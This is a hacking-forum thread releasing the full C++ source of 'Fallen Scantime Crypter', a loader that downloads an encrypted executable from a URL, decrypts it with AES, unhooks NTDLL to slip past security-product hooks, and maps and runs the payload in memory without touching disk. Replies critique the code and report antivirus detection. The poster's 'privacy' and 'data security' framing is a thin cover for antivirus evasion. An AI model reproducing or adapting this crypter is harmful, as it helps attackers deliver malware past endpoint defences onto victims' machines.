

Forum:[Hack Forums](#)

Thread: [FSTC August - Fallen Scantime Crypter](#)

Hackers - August 9, 2024, 5:59 pm

Fallen Scantime Crypter

FSTC August 2024

This is a scantime protection program that will download your PE from a set URL, decrypt it with a static key & IV, and then inject the PE/full exe to memory without a file drop. You may find that it has good runtime, but the purpose of this codebase was originally intended for scantime only.

Git Links:

Current version:

<https://github.com/LNodesL/FSTC-August-2024/tree/main>

Original method (drops file to CWD & runs as process) - Not recommended:

<https://github.com/LNodesL/FSTC-August-2024/tree/drop-file-run-process>

We at Fallen hope that this codebase can be used for your personal research, testing, and learning. If you have any questions please ask below. This codebase is a mix of concepts, using the wininet library to download, bcrypt to handle encryption/decryption, an unhooking method that attempts to prevent malicious programs from inspecting the program in runtime for data security, and a method to load the PE.

Source Code

Spoiler [\(Click to View\)](#)

helpers.cpp:

See git for the header file if you want it

```
Code #include "helpers.h"
```

```
#include <iostream>
```

```
#include <fstream>
```

```
#define NTDLL "NTDLL.DLL"
```

```
// Definitions for PEB and LDR data structures
```

```
typedef struct _UNICODE_STRING {
```

```
    USHORT Length;
```

```
    USHORT MaximumLength;
```

```
    PWSTR Buffer;
```

```
} UNICODE_STRING, * PUNICODE_STRING;
```

```
typedef struct _LDR_DATA_TABLE_ENTRY {  
    LIST_ENTRY InLoadOrderLinks;  
    LIST_ENTRY InMemoryOrderLinks;  
    LIST_ENTRY InInitializationOrderLinks;  
    PVOID DllBase;  
    PVOID EntryPoint;  
    ULONG SizeOfImage;  
    UNICODE_STRING FullDllName;  
    UNICODE_STRING BaseDllName;  
    ULONG Flags;  
    SHORT LoadCount;  
    SHORT TlsIndex;  
    LIST_ENTRY HashLinks;  
    PVOID SectionPointer;  
    ULONG CheckSum;  
    PVOID LoadedImports;  
    PVOID EntryPointActivationContext;  
    PVOID PatchInformation;  
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
```

```
typedef struct _PEB_LDR_DATA {  
    ULONG Length;  
    BOOLEAN Initialized;  
    HANDLE SsHandle;  
    LIST_ENTRY InLoadOrderModuleList;  
    LIST_ENTRY InMemoryOrderModuleList;  
    LIST_ENTRY InInitializationOrderModuleList;  
} PEB_LDR_DATA, * PPEB_LDR_DATA;
```

```
typedef struct _PEB {  
    BOOLEAN InheritedAddressSpace;  
    BOOLEAN ReadImageFileExecOptions;  
    BOOLEAN BeingDebugged;  
    BOOLEAN SpareBool;  
    HANDLE Mutant;  
    PVOID ImageBaseAddress;  
    PPEB_LDR_DATA Ldr;  
    PVOID ProcessParameters;  
    PVOID SubSystemData;  
    PVOID ProcessHeap;  
    PVOID FastPebLock;  
    PVOID AtlThunkSListPtr;  
    PVOID IFEOKey;  
    PVOID CrossProcessFlags;  
    PVOID KernelCallbackTable;  
    ULONG SystemReserved;  
    ULONG AtlThunkSListPtr32;  
    PVOID ApiSetMap;  
} PEB, * PPEB;
```

```
BOOL ReadNtdllFromDisk(OUT PVOID* ppNtdllBuf) {
```

```

CHAR cWinPath[MAX_PATH / 2] = { 0 };
CHAR cNtdllPath[MAX_PATH] = { 0 };
HANDLE hFile = NULL;
DWORD dwNumberOfBytesRead = NULL, dwFileLen = NULL;
PVOID pNtdllBuffer = NULL;

if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
    std::cerr << "[!] GetWindowsDirectoryA Failed With Error : " << GetLastError() << std::endl;
    goto _EndOfFunc;
}

sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL);

hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
    std::cerr << "[!] CreateFileA Failed With Error : " << GetLastError() << std::endl;
    goto _EndOfFunc;
}

dwFileLen = GetFileSize(hFile, NULL);
pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen);

if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead, NULL) || dwFileLen !=
dwNumberOfBytesRead) {
    std::cerr << "[!] ReadFile Failed With Error : " << GetLastError() << std::endl;
    std::cerr << "[i] Read " << dwNumberOfBytesRead << " of " << dwFileLen << " Bytes" <<
std::endl;
    goto _EndOfFunc;
}

*ppNtdllBuf = pNtdllBuffer;

_EndOfFunc:
if (hFile)
    CloseHandle(hFile);
if (*ppNtdllBuf == NULL)
    return FALSE;
else
    return TRUE;
}

PVOID FetchLocalNtdllBaseAddress() {
#ifdef _WIN64
    PPEB pPeb = (PPEB)__readgsqword(0x60);
#elif _WIN32
    PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif
    PLDR_DATA_TABLE_ENTRY pLdr =
(PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink -
0x10);
    return pLdr->DllBase;
}

```

```

BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {
    PVOID pLocalNtdll = FetchLocalNtdllBaseAddress();
    PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
    if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE) {
        std::cerr << "[!] Invalid DOS signature for local NTDLL." << std::endl;
        return FALSE;
    }

    PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll +
pLocalDosHdr->e_lfanew);
    if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE) {
        std::cerr << "[!] Invalid NT signature for local NTDLL." << std::endl;
        return FALSE;
    }

    PVOID pLocalNtdllTxt = NULL, pRemoteNtdllTxt = NULL;
    SIZE_T sNtdllTxtSize = NULL;

    PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);
    for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {
        // std::cout << "[*] Section name: " << std::string((char*)pSectionHeader[i].Name, 8) <<
std::endl;
        if (strncmp((char*)pSectionHeader[i].Name, ".text", 5) == 0) {
            pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
            pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll +
pSectionHeader[i].VirtualAddress);
            sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
            break;
        }
    }

    if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize) {
        std::cerr << "[!] Failed to locate the .text section in NTDLL with first method." << std::endl;
        // Attempt to use the known offset values if the section is not found by name
        pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + 1024);
        if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) {
            pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + 4096);
            if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) {
                std::cerr << "[!] The calculated offset for the .text section is incorrect." << std::endl;
                return FALSE;
            }
        }
        sNtdllTxtSize = pLocalNtHdrs->OptionalHeader.SizeOfCode;
    }

    DWORD dwOldProtection = NULL;
    if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY,
&dwOldProtection)) {
        std::cerr << "[!] VirtualProtect [1] Failed With Error : " << GetLastError() << std::endl;
        return FALSE;
    }
}

```

```

memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);

if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {
    std::cerr << "[!] VirtualProtect [2] Failed With Error : " << GetLastError() << std::endl;
    return FALSE;
}

return TRUE;
}

void loadPE(PBYTE peBuffer, SIZE_T peSize) {
    PVOID pUnhookedNtdll = NULL;
    if (!ReadNtdllFromDisk(&pUnhookedNtdll)) {
        std::cerr << "[!] Failed to read unhooked NTDLL from disk." << std::endl;
        return;
    }

    if (!ReplaceNtdllTxtSection(pUnhookedNtdll)) {
        std::cerr << "[!] Failed to replace NTDLL text section." << std::endl;
        return;
    }

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peBuffer;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(peBuffer +
dosHeader->e_lfanew);

    // Allocate memory for the PE image
    PVOID baseAddress = VirtualAlloc((PVOID)ntHeaders->OptionalHeader.ImageBase,
ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
    if (!baseAddress) {
        baseAddress = VirtualAlloc(NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT
| MEM_RESERVE, PAGE_READWRITE);
        if (!baseAddress) {
            std::cerr << "[!] VirtualAlloc failed." << std::endl;
            return;
        }
    }

    // Copy headers to the allocated memory
    memcpy(baseAddress, peBuffer, ntHeaders->OptionalHeader.SizeOfHeaders);

    // Copy sections to the allocated memory
    PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
    for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        PVOID sectionDestination = (PVOID)((ULONG_PTR)baseAddress +
sectionHeader[i].VirtualAddress);
        PVOID sectionSource = (PVOID)((ULONG_PTR)peBuffer +
sectionHeader[i].PointerToRawData);
        memcpy(sectionDestination, sectionSource, sectionHeader[i].SizeOfRawData);
    }

    // Perform base relocations if necessary

```

```

    if ((ULONG_PTR)baseAddress != ntHeaders->OptionalHeader.ImageBase) {
        if
(ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) {
            PIMAGE_BASE_RELOCATION reloc =
(PIMAGE_BASE_RELOCATION)((ULONG_PTR)baseAddress +

                ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
.VirtualAddress);

            while (reloc->VirtualAddress) {
                UINT_PTR delta = (UINT_PTR)baseAddress - ntHeaders->OptionalHeader.ImageBase;
                UINT_PTR relocCount = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) /
sizeof(WORD);
                PWORD relocData = (PWORD)(reloc + 1);

                for (UINT_PTR i = 0; i < relocCount; i++, relocData++) {
                    if (*relocData >> 12 == IMAGE_REL_BASED_DIR64) {
                        *(UINT_PTR*)((PBYTE)baseAddress + reloc->VirtualAddress + (*relocData &
0xFFF)) += delta;
                    }
                }
                reloc = (PIMAGE_BASE_RELOCATION)((PBYTE)reloc + reloc->SizeOfBlock);
            }
        }
    }

    // Resolve Import Address Table (IAT)
    if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size) {
        PIMAGE_IMPORT_DESCRIPTOR importDescriptor =
(PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)baseAddress +

            ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Virtual
Address);

        while (importDescriptor->Name) {
            LPCSTR dllName = (LPCSTR)((ULONG_PTR)baseAddress + importDescriptor->Name);
            HMODULE hModule = LoadLibraryA(dllName);
            if (!hModule) {
                std::cerr << "[!] Failed to load import DLL: " << dllName << std::endl;
                continue;
            }

            PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)((ULONG_PTR)baseAddress +
importDescriptor->FirstThunk);
            PIMAGE_THUNK_DATA originalThunk =
(PIMAGE_THUNK_DATA)((ULONG_PTR)baseAddress + importDescriptor->OriginalFirstThunk);

            while (thunk->u1.AddressOfData) {
                if (originalThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) {
                    // Import by ordinal
                    thunk->u1.Function = (ULONG_PTR)GetProcAddress(hModule,
(LPCSTR)(originalThunk->u1.Ordinal & 0xFFFF));
                }
            }
        }
    }

```

```

        else {
            // Import by name
            PIMAGE_IMPORT_BY_NAME import =
(PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)baseAddress + originalThunk->u1.AddressOfData);
            thunk->u1.Function = (ULONG_PTR)GetProcAddress(hModule, import->Name);
        }
        if (!thunk->u1.Function) {
            std::cerr << "[!] Failed to resolve import." << std::endl;
        }
        thunk++;
        originalThunk++;
    }
    importDescriptor++;
}
}

```

```

// Set memory protection for the sections
DWORD oldProtect;
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
    PVOID sectionAddress = (PVOID)((ULONG_PTR)baseAddress +
sectionHeader[i].VirtualAddress);
    if (sectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) {
        VirtualProtect(sectionAddress, sectionHeader[i].SizeOfRawData, PAGE_EXECUTE_READ,
&oldProtect);
    }
    else if (sectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
        VirtualProtect(sectionAddress, sectionHeader[i].SizeOfRawData, PAGE_READWRITE,
&oldProtect);
    }
    else {
        VirtualProtect(sectionAddress, sectionHeader[i].SizeOfRawData, PAGE_READONLY,
&oldProtect);
    }
}
}

```

```

// Call the entry point
PVOID entryPoint = (PVOID)((ULONG_PTR)baseAddress +
ntHeaders->OptionalHeader.AddressOfEntryPoint);

```

```

typedef void (*EntryPointFunc)();
EntryPointFunc entryFunc = (EntryPointFunc)entryPoint;

```

```

entryFunc();

```

```

// Clean up
HeapFree(GetProcessHeap(), 0, peBuffer);
}

```

Final Program:

```

Code #include <windows.h>
#include <wininet.h>
#include <bcrypt.h>
#include <iostream>
#include <vector>

```

```
#include <fstream>
```

```
#pragma comment(lib, "wininet.lib")
```

```
#pragma comment(lib, "bcrypt.lib")
```

```
#ifndef STATUS_UNSUCCESSFUL
```

```
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
```

```
#endif
```

```
#include "helpers.h"
```

```
BOOL GetPayloadFromUrl(LPCWSTR szUrl, PBYTE* pPayloadBytes, SIZE_T* sPayloadSize) {
```

```
    BOOL bSTATE = TRUE;
```

```
    HINTERNET hInternet = NULL, hInternetFile = NULL;
```

```
    DWORD dwBytesRead = 0;
```

```
    SIZE_T sSize = 0;
```

```
    PBYTE pBytes = NULL, pTmpBytes = NULL;
```

```
    hInternet = InternetOpenW(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
```

```
    if (hInternet == NULL) {
```

```
        std::cerr << "[!] InternetOpenW Failed With Error : " << GetLastError() << std::endl;
```

```
        bSTATE = FALSE; goto _EndOfFunction;
```

```
    }
```

```
    hInternetFile = InternetOpenUrlW(hInternet, szUrl, NULL, 0, INTERNET_FLAG_HYPERLINK |  
INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, 0);
```

```
    if (hInternetFile == NULL) {
```

```
        std::cerr << "[!] InternetOpenUrlW Failed With Error : " << GetLastError() << std::endl;
```

```
        bSTATE = FALSE; goto _EndOfFunction;
```

```
    }
```

```
    pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);
```

```
    if (pTmpBytes == NULL) {
```

```
        bSTATE = FALSE; goto _EndOfFunction;
```

```
    }
```

```
    while (TRUE) {
```

```
        if (!InternetReadFile(hInternetFile, pTmpBytes, 1024, &dwBytesRead)) {
```

```
            std::cerr << "[!] InternetReadFile Failed With Error: " << GetLastError() << std::endl;
```

```
            bSTATE = FALSE; goto _EndOfFunction;
```

```
        }
```

```
        sSize += dwBytesRead;
```

```
        if (pBytes == NULL)
```

```
            pBytes = (PBYTE)LocalAlloc(LPTR, dwBytesRead);
```

```
        else
```

```
            pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
```

```
        if (pBytes == NULL) {
```

```
            bSTATE = FALSE; goto _EndOfFunction;
```

```
        }
```

```
        memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes, dwBytesRead);
```

```

memset(pTmpBytes, '\0', dwBytesRead);

if (dwBytesRead < 1024) {
    break;
}

*pPayloadBytes = pBytes;
*sPayloadSize = sSize;

_EndOfFunction:
if (hInternet) InternetCloseHandle(hInternet);
if (hInternetFile) InternetCloseHandle(hInternetFile);
if (hInternet) InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL,
0);
if (pTmpBytes) LocalFree(pTmpBytes);
return bSTATE;
}

BOOL DecryptPayload(PBYTE pbCipherText, DWORD cbCipherText, PBYTE pbKey, DWORD
cbKey, PBYTE pbIV, DWORD cbIV, PBYTE* ppbPlainText, DWORD* pcbPlainText) {
    BCRYPT_ALG_HANDLE hAesAlg = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;
    NTSTATUS status = STATUS_UNSUCCESSFUL;
    DWORD cbData = 0, cbPlainText = 0;
    PBYTE pbPlainText = NULL;

    status = BCryptOpenAlgorithmProvider(&hAesAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "[!] BCryptOpenAlgorithmProvider Failed With Error: " << status << std::endl;
        goto Cleanup;
    }

    status = BCryptSetProperty(hAesAlg, BCRYPT_CHAINING_MODE,
(PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "[!] BCryptSetProperty Failed With Error: " << status << std::endl;
        goto Cleanup;
    }

    status = BCryptGenerateSymmetricKey(hAesAlg, &hKey, NULL, 0, pbKey, cbKey, 0);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "[!] BCryptGenerateSymmetricKey Failed With Error: " << status << std::endl;
        goto Cleanup;
    }

    status = BCryptDecrypt(hKey, pbCipherText, cbCipherText, NULL, pbIV, cbIV, NULL, 0,
&cbPlainText, BCRYPT_BLOCK_PADDING);
    if (!BCRYPT_SUCCESS(status)) {
        std::cerr << "[!] BCryptDecrypt (get size) Failed With Error: " << status << std::endl;
        goto Cleanup;
    }
}

```

```

pbPlainText = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbPlainText);
if (pbPlainText == NULL) {
    std::cerr << "[!] HeapAlloc Failed With Error: " << GetLastError() << std::endl;
    goto Cleanup;
}

status = BCryptDecrypt(hKey, pbCipherText, cbCipherText, NULL, pbIV, cbIV, pbPlainText,
cbPlainText, &cbData, BCRYPT_BLOCK_PADDING);
if (!BCRYPT_SUCCESS(status)) {
    std::cerr << "[!] BCryptDecrypt Failed With Error: " << status << std::endl;
    goto Cleanup;
}

*ppbPlainText = pbPlainText;
*pcbPlainText = cbPlainText;

Cleanup:
if (hAesAlg) BCryptCloseAlgorithmProvider(hAesAlg, 0);
if (hKey) BCryptDestroyKey(hKey);
if (!BCRYPT_SUCCESS(status) && pbPlainText) HeapFree(GetProcessHeap(), 0, pbPlainText);

return BCRYPT_SUCCESS(status);
}

int main() {
    LPCWSTR url = L"https://example.com/path/to/your/encrypted/file.fstc";
    PBYTE pPayload = NULL;
    SIZE_T sPayloadSize = 0;

    if (!GetPayloadFromUrl(url, &pPayload, &sPayloadSize)) {
        std::cerr << "[!] Failed to get payload from URL." << std::endl;
        return 1;
    }

    BYTE key[] = { 0x00 };
    BYTE iv[] = { 0x00 };
    DWORD keySize = sizeof(key);
    DWORD ivSize = sizeof(iv);

    PBYTE pPlainText = NULL;
    DWORD plainTextSize = 0;

    if (!DecryptPayload(pPayload, sPayloadSize, key, keySize, iv, ivSize, &pPlainText,
&plainTextSize)) {
        std::cerr << "[!] Failed to decrypt payload." << std::endl;
        LocalFree(pPayload);
        return 1;
    }

    // Unhook NTDLL and load the PE directly from memory
    loadPE(pPlainText, plainTextSize);

    // Cleanup

```

```

HeapFree(GetProcessHeap(), 0, pPlainText);
LocalFree(pPayload);

return 0;
}

```

Future Notes: allow builder to modify the final FSTC.exe program's resources or other data to make it easier to build for a new payload/URL without re-compiling

move download & decrypt functions to helpers.cpp

AI Notes

Spoiler ([Click to View](#))

Technical Guide: Understanding the Main Program

This program is designed to fetch an encrypted payload from a specified URL, decrypt it using AES, and then load the decrypted payload into memory for execution. Let's break down the key components and their functions:

```

Code #include <windows.h>
#include <wininet.h>
#include <bcrypt.h>
#include <iostream>
#include <vector>
#include <fstream>

```

```

#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "bcrypt.lib")

```

1. Header Files and Libraries:

- The program includes essential Windows APIs for internet communication, cryptography, and memory management.
- The `#pragma comment(lib, "wininet.lib")`` and `#pragma comment(lib, "bcrypt.lib")`` directives link the necessary libraries.

2. Downloading the Payload:

The function `Code BOOL GetPayloadFromUrl(LPCWSTR szUrl, PBYTE* pPayloadBytes, SIZE_T* sPayloadSize)`` is responsible for downloading the payload from the specified URL.

- It uses ``InternetOpenW`` and ``InternetOpenUrlW`` to establish an internet connection and open the URL.
- The payload is read in chunks using ``InternetReadFile`` and stored in memory.
- The downloaded data is dynamically reallocated to accommodate the entire payload, and the final data is returned through the ``pPayloadBytes`` pointer.

3. Decrypting the Payload:

The function `Code BOOL DecryptPayload(PBYTE pbCipherText, DWORD cbCipherText, PBYTE pbKey, DWORD cbKey, PBYTE pbIV, DWORD cbIV, PBYTE* ppbPlainText, DWORD*`

pcbPlainText)` handles the decryption of the downloaded payload.

- AES decryption is performed using the Windows CNG (Cryptography Next Generation) API, specifically through `BCryptOpenAlgorithmProvider` and `BCryptDecrypt`.
- The function requires a key and an initialization vector (IV) to perform CBC (Cipher Block Chaining) mode decryption.
- The decrypted data is stored in the `ppbPlainText` pointer.

4. Loading the Decrypted Payload into Memory:

After decryption, the function is used to load the decrypted payload directly into memory.

Code loadPE(PBYTE pPlainText, SIZE_T plainTextSize)

- This step is crucial for executing the payload, as it involves unhooking NTDLL (if any hooks are present) and loading the payload as a PE (Portable Executable) directly from memory.
- Note: The actual implementation of `loadPE` is assumed to be defined elsewhere in the project.

5. Cleanup:

Finally, the program cleans up all dynamically allocated memory to avoid leaks:

- The decrypted payload is freed using `HeapFree`.
- The downloaded payload buffer is freed using `LocalFree`.

Conclusion:

This program demonstrates how to securely download, decrypt, and load an executable payload in a Windows environment. Proper error handling and memory management are essential to ensure the robustness and security of such operations.

DramaKing - August 9, 2024, 7:08 pm

You do impressive work.

Hackers - August 9, 2024, 7:27 pm

(Aug 9, 2024 07:08 PM)DramaKing Wrote: [\[CITE\]](#) You do impressive work.

Thanks, much appreciated

Hope this can help someone learn more about C++

ttbr0 - August 9, 2024, 9:57 pm

pretty standard stuff. good resource.

mootme - August 10, 2024, 4:13 pm

damn youre so good at helping others figure out the how-tos and internals very good job

Hackers - August 10, 2024, 8:28 pm

(Aug 9, 2024 09:57 PM)ttbr0 Wrote: [\[CITE\]](#) pretty standard stuff. good resource.

Yeah, some of these methods are a couple or a few years old now. However, I think for scantime these methods work great for protecting your secure data, for personal privacy, etc. They are the beginning steps of further runtime protection, using memory methods and controlling hooks.

(Aug 10, 2024 04:13 PM)mootme Wrote: [\[CITE\]](#) damn youre so good at helping others figure out the how-tos and internals very good job

Thanks, I appreciate it mootme

I hope to help users develop their own software and this is how I learn things myself - practice to

get better, etc.

SovietBastard - August 11, 2024, 4:51 am

by IV you mean initialization vector right?

Hackers - August 11, 2024, 4:53 am

(Aug 11, 2024 04:51 AM)SovietBastard Wrote: [\[CITE\]](#) by IV you mean initialization vector right?

Yes exactly!

This encryption algo requires the key and IV to be valid

SovietBastard - August 11, 2024, 5:08 am

(Aug 11, 2024 04:53 AM)nodes Wrote: [\[CITE\]](#) Yes exactly!

This encryption algo requires the key and IV to be valid

thanks, is it 16/16 bytes for block size? also what mode of operation does it use? CBC? GCM? EAX? let me guess..... CBC?

namnam242 - August 12, 2024, 2:42 am

Thank you, what a great idea. I tried using it but Windows Defender detected it too quickly. Or did I do something wrong in some step

Hackers - August 12, 2024, 5:28 am

(Aug 12, 2024 02:42 AM)namnam242 Wrote: [\[CITE\]](#) Thank you, what a great idea. I tried using it but Windows Defender detected it too quickly. Or did I do something wrong in some step

This is just a scan time protector so I'm not sure about Defender in runtime.

blyat1337 - August 12, 2024, 5:44 am

A lot of copy pasted code, which is clear because nobody uses "goto" in 2024.

LoadPE is copy pasted, there is no support for binaries without relocations, what about SEH exceptions? TLS callbacks? Unhooking NTDLL is a very bad idea and is also pasted, Reading the WHOLE NTDLL just to replace text section? Why? Why do you not use known DLLS directory? It is already loaded in the process!

Can you give credits to people you took it from?

Code DWORD oldProtect;Not initiating variables..

```
Code if (sectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) {  
    VirtualProtect(sectionAddress, sectionHeader[i].SizeOfRawData, PAGE_EXECUTE_READ,  
&oldProtect);  
}  
else if (sectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) {  
    VirtualProtect(sectionAddress, sectionHeader[i].SizeOfRawData, PAGE_READWRITE,  
&oldProtect);  
}  
else {  
    VirtualProtect(sectionAddress, sectionHeader[i].SizeOfRawData, PAGE_READONLY,  
&oldProtect);  
}
```

Why not single line?

This is useless today (Maybe in 2010 it wasn't) because either way your memory will be considered NON mem image.. Which means it was allocated on the fly, same flag by EDR/AV with proper mem scan.

Code `BOOL bSTATE = TRUE;`
Why? Why do you need `BOOL` and not `bool`?

Code `if (strncmp((char*)pSectionHeader[i].Name, ".text", 5) == 0) {`
You heard about `std::string_view`?

Code `PWORD relocData = (PWORD)(reloc + 1);` Why? Without comment? Why not define a proper struct and use it instead?

Code `pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);`
Why `LocalAlloc`? And not `HeapAlloc`? You already used `HeapAlloc`.

Please refactor it, fix all mistakes and tag me when you done and I will recheck the quality of code.

Anyways, thanks for sharing.

Hackers - August 12, 2024, 6:01 am

(Aug 12, 2024 05:44 AM)blyat1337 Wrote: [\[CITE\]](#) A lot of copy pasted code, which is clear because nobody uses "goto" in 2024.

LoadPE is copy pasted, there is no support for binaries without relocations, what about SEH exceptions? TLS callbacks? Unhooking NTDLL is a very bad idea and is also pasted, Reading the WHOLE NTDLL just to replace text section? Why? Why do you not use known DLLS directory? It is already loaded in the process!

Can you give credits to people you took it from?

Code `DWORD oldProtect;` Not initiating variables..

```
Code if (sectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) {
    VirtualProtect(sectionAddress, sectionHeader[i].SizeOfRawData, PAGE_EXECUTE_READ,
&oldProtect);
}
else if (sectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
    VirtualProtect(sectionAddress, sectionHeader[i].SizeOfRawData, PAGE_READWRITE,
&oldProtect);
}
else {
    VirtualProtect(sectionAddress, sectionHeader[i].SizeOfRawData, PAGE_READONLY,
&oldProtect);
}
```

Why not single line?

This is useless today (Maybe in 2010 it wasn't) because either way your memory will be considered NON mem image.. Which means it was allocated on the fly, same flag by EDR/AV with proper mem scan.

Code `BOOL bSTATE = TRUE;`
Why? Why do you need `BOOL` and not `bool`?

Code `if (strncmp((char*)pSectionHeader[i].Name, ".text", 5) == 0) {`
You heard about `std::string_view`?

Code `PWORD relocData = (PWORD)(reloc + 1);` Why? Without comment? Why not define a proper struct and use it instead?

Code `pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);`
Why `LocalAlloc`? And not `HeapAlloc`? You already used `HeapAlloc`.

Please refactor it, fix all mistakes and tag me when you done and I will recheck the quality of code.

Anyways, thanks for sharing.

"Please refactor it, fix all mistakes and tag me when you done and I will recheck the quality of code."

- lmao, no.

Noted, thanks!

Yes, used AI to mix a bunch of old code together. None of this is taken or stolen from anyone else. I took two codebases of mine, fed to an LLM to bring methods for memory into another.

I'm not going to refactor anything. You come to every thread with valid criticism, but your attitude is poor. This is a release to help people see ideas, learn from it, and write their own code, not a thread for me to spend more time on after initial release.

It works fine for the goal of this thread:

- scantime
- download from URL
- push to memory without a file drop

As I said to you last time, write your own threads and share your own code.

Your feedback is valid, but if you aren't releasing free code to HF, we just aren't on the same level. You should also keep in mind I only started learning C++ this year, so you are acting pretty high and mighty in your feedback to me - a self-described beginner.

Hackers - August 12, 2024, 6:38 am

Oh the goto comment:

- we were talking about a meme of goto in Fallen TG the other day and why it's so shit
- I still wanted to give Goto a try
- asked LLM to handle memory cleanup with one
- worked fine for this small program
- agree with you that goto is not modern and why it shouldn't be used but it doesn't cause any issues here and works

(Aug 12, 2024 06:24 AM)blyat1337 Wrote: [\[CITE\]](#) You are stubborn for no reason, I thought you had improved but your cockiness is ruining your progress. This code is very bad and can't be used in real scenario.

If you are already releasing something, why not do it in the best way possible? Why post it in github? People who know C/C++ will have bad time with this code and will rather start from 0/

Last time I checked, writing AI based posts is not allowed on HF so please remove this post. Attributing an AI based code to Fallen is crazy work.. but who am I to judge the quality of the group. It's not an AI based post. People are allowed to use AI in projects. You sound stubborn and

outdated.

Write your own code to share. I assume you're just jealous mate :)

It's a working loader, I understand there are mistakes. I'm an amateur beginner C++ coder. I'm fine with your assessment, not stubborn or ignorant. I just don't plan to update this codebase.

- I can learn as I go, release another codebase with improvements & mistakes, and still keep going
- There is absolutely no rule that says every release must be 100% perfect, and every git must be maintained
- I have 0 plans to maintain FSTC August or to release any updates
- If you want to fix it or improve it, go for it

—

FSTC October will likely be out next month! Keep your eyes out all <3
Don't forget to check out FALLEN-

I also have a .NET version of FSTC August which works great for memory methods, scantime, etc!

pinguoin - August 12, 2024, 9:00 am

(Aug 9, 2024 05:59 PM)nodes Wrote: [\[CITE\]](#) If you are replying to me in a thread, please quote me or I will most likely not see your response.

1- Sir once again, Great work, i've been away for a month and im happy to see you still working on good guides, actually fun to follow and work with it.

2- I'd like to ask you; Will the September edition be a Beginning to Last Step - by - Step guideline to follow from all your post ? Which could help lots of people to understand where to start and figure more likely if they're being on the right road.

